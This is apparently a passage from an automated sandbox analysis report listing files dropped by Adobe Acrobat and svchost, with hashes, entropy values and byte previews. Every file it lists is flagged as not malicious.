SSDEEP:	1536:XSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:XazaPv4V4fXq2UaB
MD5:	FC3FC32F530C2738F14F84F4F94BAAB5
SHA1:	117867988103AD45DF23F27650BA870AF607D6C1
SHA-256:	FC137C3BC91EA62BD2E8912787FE81748125E093325E2F1B2FD775F282849617
SHA-512:	A9152F5B8A5CCBD992C47D51F38A888D3E40108DD7779F554F860E028034ABE5944DDE7947F560CE467A9550CB9DF7CB96B200A872F347DAA46397F4589D3E2F
Malicious:	false
Preview:	.;..... ...............X\...;...{......................X............{..#3...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................?..#3...}.<..................}.#3...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08097353961343884
Encrypted:	false
SSDEEP:	3:qmtyYexy8vpIgvemXlVG0+q2Iqe8lpYGIvpwllNTt/4ll/Q6beV/:qmUzxxSUGE8l2/vaHtc6V
MD5:	CA3B12076A78200DE6E3B0368387774B
SHA1:	C90665DABBE209AB4F777AE7CB857A1CE6BBF1E0
SHA-256:	B20C8C0277F3BD45953146636E16EC8CF1B873DEE5B681EC29477D88CD4A7422
SHA-512:	209D2638F0CC8F478E4FB623825B3855BBF7FB124CA76F86372ADD2B106A9D638870D8F80A4FA0C5BEB3348B03B55BF6BDBE02DDA8E129F3C8B5D818AAF27CBE
Malicious:	false
Preview:	.n!R.....................................;...{..#3...}.......{...............{.......{....:......{...................}.#3...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.160651975508332
Encrypted:	false
SSDEEP:	6:iO4Iic0s31yq2PFi2nKuAl9OmbnIFUtSISj1ZmwsIS1RkwOFi2nKuAl9OmbjLJ:75icByvdZHAahFUtzSJ/NS1R5wZHAaSJ
MD5:	03F29FFD1745F7C8F6D578952B73446B
SHA1:	E543A8044F7AB9E8F8EF475C9F28D145677BA17C
SHA-256:	8D6EA756F6A0D0E4F11161DAC09B8E02F4191BB4EE454E65812259B45746531A
SHA-512:	2DEB14864377C0DAA744DDE338BA84A0CDD374719066DED35DCCB9062981C671D07E7688639E8D400C5F4179C7DAF78961181D6A4BA91B002D1600361872EFD6
Malicious:	false
Preview:	2025/01/10-11:51:35.399 2e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:51:35.404 2e4 Recovering log #3.2025/01/10-11:51:35.404 2e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.160651975508332
Encrypted:	false
SSDEEP:	6:iO4Iic0s31yq2PFi2nKuAl9OmbnIFUtSISj1ZmwsIS1RkwOFi2nKuAl9OmbjLJ:75icByvdZHAahFUtzSJ/NS1R5wZHAaSJ
MD5:	03F29FFD1745F7C8F6D578952B73446B
SHA1:	E543A8044F7AB9E8F8EF475C9F28D145677BA17C
SHA-256:	8D6EA756F6A0D0E4F11161DAC09B8E02F4191BB4EE454E65812259B45746531A
SHA-512:	2DEB14864377C0DAA744DDE338BA84A0CDD374719066DED35DCCB9062981C671D07E7688639E8D400C5F4179C7DAF78961181D6A4BA91B002D1600361872EFD6
Malicious:	false
Preview:	2025/01/10-11:51:35.399 2e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:51:35.404 2e4 Recovering log #3.2025/01/10-11:51:35.404 2e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.14230952516209
Encrypted:	false
SSDEEP:	6:iO4IQ1yq2PFi2nKuAl9Ombzo2jMGIFUtSIV1ZmwsIcQRkwOFi2nKuAl9Ombzo2jz:75Q1yvdZHAa8uFUtz3/NcQR5wZHAa8RJ
MD5:	A8E62AF0CE7DC244CFAA247329E6E45A
SHA1:	E4F62DD1C7014749DAFF85468480FFC770AA2D79
SHA-256:	9727117A1642F78EB551C00E622B11609207EF9644F8D64102C19CD628C83D7F
SHA-512:	BE02AC604F7612ECDB7E471BD830F7A07B427B710733012F7BA9379EAEE470981A5D15C767EAB316D9FFA3355EFEC2074121BD720B3EFDB1DB2F7A7BE250C827
Malicious:	false
Preview:	2025/01/10-11:51:35.428 fe0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:51:35.429 fe0 Recovering log #3.2025/01/10-11:51:35.430 fe0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.14230952516209
Encrypted:	false
SSDEEP:	6:iO4IQ1yq2PFi2nKuAl9Ombzo2jMGIFUtSIV1ZmwsIcQRkwOFi2nKuAl9Ombzo2jz:75Q1yvdZHAa8uFUtz3/NcQR5wZHAa8RJ
MD5:	A8E62AF0CE7DC244CFAA247329E6E45A
SHA1:	E4F62DD1C7014749DAFF85468480FFC770AA2D79
SHA-256:	9727117A1642F78EB551C00E622B11609207EF9644F8D64102C19CD628C83D7F
SHA-512:	BE02AC604F7612ECDB7E471BD830F7A07B427B710733012F7BA9379EAEE470981A5D15C767EAB316D9FFA3355EFEC2074121BD720B3EFDB1DB2F7A7BE250C827
Malicious:	false
Preview:	2025/01/10-11:51:35.428 fe0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:51:35.429 fe0 Recovering log #3.2025/01/10-11:51:35.430 fe0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.976886713927548
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRsBdOg2H5caq3QYiubpP7E4T3y:Y2sRdsrdMHA3QYhbd7nby
MD5:	05C4686D9619F1E4D0FCAFDC1739F05D
SHA1:	150BA3DE515D6B207E831E919B74E034D1869A85
SHA-256:	B9B4D58453F6DA421861157780B637A78873F52ABADEC7BC034C5DB4A60077CD
SHA-512:	AFE895EDBE66649B70CE560BEF42DF8EAD73D469D50F142E79198966B4C57A3616627E50C1F4E40BC28E6777BE1B64CAACA0A1A1CD328172B68A78E8469CC343
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087906337202","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":160772},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cee753a6-419f-4098-84d5-df8dc2c7fbe6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.976886713927548
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRsBdOg2H5caq3QYiubpP7E4T3y:Y2sRdsrdMHA3QYhbd7nby
MD5:	05C4686D9619F1E4D0FCAFDC1739F05D
SHA1:	150BA3DE515D6B207E831E919B74E034D1869A85
SHA-256:	B9B4D58453F6DA421861157780B637A78873F52ABADEC7BC034C5DB4A60077CD
SHA-512:	AFE895EDBE66649B70CE560BEF42DF8EAD73D469D50F142E79198966B4C57A3616627E50C1F4E40BC28E6777BE1B64CAACA0A1A1CD328172B68A78E8469CC343
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087906337202","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":160772},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235958984239446
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVc1PqYskULc:wshFT0h7cZb2EVKZPEANcGIK5EVi7kLc
MD5:	35A5D4B4AA88E66275148210D8724C74
SHA1:	ECED9D8790F279DE3E2DCF2D7B5B21699686045D
SHA-256:	B3EF3C737A676248142D6029A9B3DEDCB113213334C87CDA85E15AD45AC544C1
SHA-512:	A9740B3CBF9DA13CA1B89996AD46C072B22FD00BAC62B97AA783CD72D26A8AAFF32CE5F93AE8281FF4154286C73BD56A230791FC15490FD813A82D5C3A7617DE
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.146908734643413
Encrypted:	false
SSDEEP:	6:iO4Ioiyq2PFi2nKuAl9OmbzNMxIFUtSIoVj1ZmwsIoIRkwOFi2nKuAl9OmbzNMFd:759yvdZHAa8jFUtzk/N3R5wZHAa84J
MD5:	1AA9B4498042B223FD05100D1B0E4B32
SHA1:	F381EA6DFE11E2EA6A30305727C8B21A61BF80E7
SHA-256:	7787E6D5224209AAB0C2E529AABCEAFA01B048370BB48C9C4E141A95A876F8DA
SHA-512:	7189197FEF3C78D9D475EBF098009B207D599F3248844B6E00C7E034D4D14B478CA594AB59AB21066F60346B5AB7D751CD5925583C2F3D8DED0EDE570AAC5D54
Malicious:	false
Preview:	2025/01/10-11:51:35.980 fe0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:51:35.981 fe0 Recovering log #3.2025/01/10-11:51:35.982 fe0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.146908734643413
Encrypted:	false
SSDEEP:	6:iO4Ioiyq2PFi2nKuAl9OmbzNMxIFUtSIoVj1ZmwsIoIRkwOFi2nKuAl9OmbzNMFd:759yvdZHAa8jFUtzk/N3R5wZHAa84J
MD5:	1AA9B4498042B223FD05100D1B0E4B32
SHA1:	F381EA6DFE11E2EA6A30305727C8B21A61BF80E7
SHA-256:	7787E6D5224209AAB0C2E529AABCEAFA01B048370BB48C9C4E141A95A876F8DA
SHA-512:	7189197FEF3C78D9D475EBF098009B207D599F3248844B6E00C7E034D4D14B478CA594AB59AB21066F60346B5AB7D751CD5925583C2F3D8DED0EDE570AAC5D54
Malicious:	false
Preview:	2025/01/10-11:51:35.980 fe0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:51:35.981 fe0 Recovering log #3.2025/01/10-11:51:35.982 fe0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438784706992587
Encrypted:	false
SSDEEP:	384:Secci5GwiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:bcurVgazUpUTTGt
MD5:	B766FA457B8C3622E397488D3F66A310
SHA1:	D7609B41715B751C065FFAF4C40C63CD62B48EDF
SHA-256:	5A68B651D3842D39EEB1D55B0F28F7F9E2B950422D3A29605BB2FFD1A59B4022
SHA-512:	7B3B7EB9F40CC264D212E319700B4082D581C71941F45205BF76A3D6EDE9FCD6B805D9ABFD07CDC15E3052E811A853F5681F943DEDDE484CA517A1245B806D31
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2135225980514264
Encrypted:	false
SSDEEP:	24:7+tLL6wKMRqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9ML:7MXWcqvmFTIF3XmHjBoGGR+jMz+Lhm
MD5:	E1445CBF89CD6F51EA4791CF50592548
SHA1:	D965B686D81D62C708A3D4A309E7A099B63CC57D
SHA-256:	ED6082D78E9112D1CCAFF2875E409DE2539BE634DF694B3F68D9C5624908B063
SHA-512:	8E2AFD1CE382B6C717FCBE641959EC8DCC9411E09FD00AA987076388A4CB8B4EF2BDCE77F81C2860A151EB918882E0E2D18CDA66278BA31CD85352C0DAE1BD71
Malicious:	false
Preview:	.... .c.......g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklmmFN+k3/tfllXlE/HT8ktRl1NNX8RolJuRdxLlGB9lQRYwpDdt:kK/wdeT8kD7NMa8RdWBwRd
MD5:	F697EB706259E3DEFD573B9D20E59BB8
SHA1:	94919B6094409BD6F7670B58840857A5B6961ABF
SHA-256:	911D8F240AFA2BECB8258568E5FAE6A4B016FF1E38AA6D50E27EEDE6F7D21229
SHA-512:	F9B97FCFACFAB7A68353942BAF05355CA7EE4E25D8BC34602EC8CD256B50A8D91B5AF94D8E5C395A3AC8609B17E59541515353733D67A586E25644AB6D361B4C
Malicious:	false
Preview:	p...... .........C...c..(....................................................... ..........W....H...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKaL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:SiDImsLNkPlE99SNxAhUe/3
MD5:	C9F7B97DF1003C620A0A3B52981CC95A
SHA1:	3408C99A5BB89170A96A7F829A4E44D387F0E224
SHA-256:	FC77A690C084EB7AABD30EAB63C17B239FA9B08CD4AA78339E3F79532E9D518B
SHA-512:	A27F99021FB995A897958C8B7A6A3BFF71E67F55AACCDA6DB2691EA8EF0FC9632DF6DC60E419D590EB1B7F4F4F125CC67FFE0D23C7102B379F3F54C8D53921ED
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.688

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
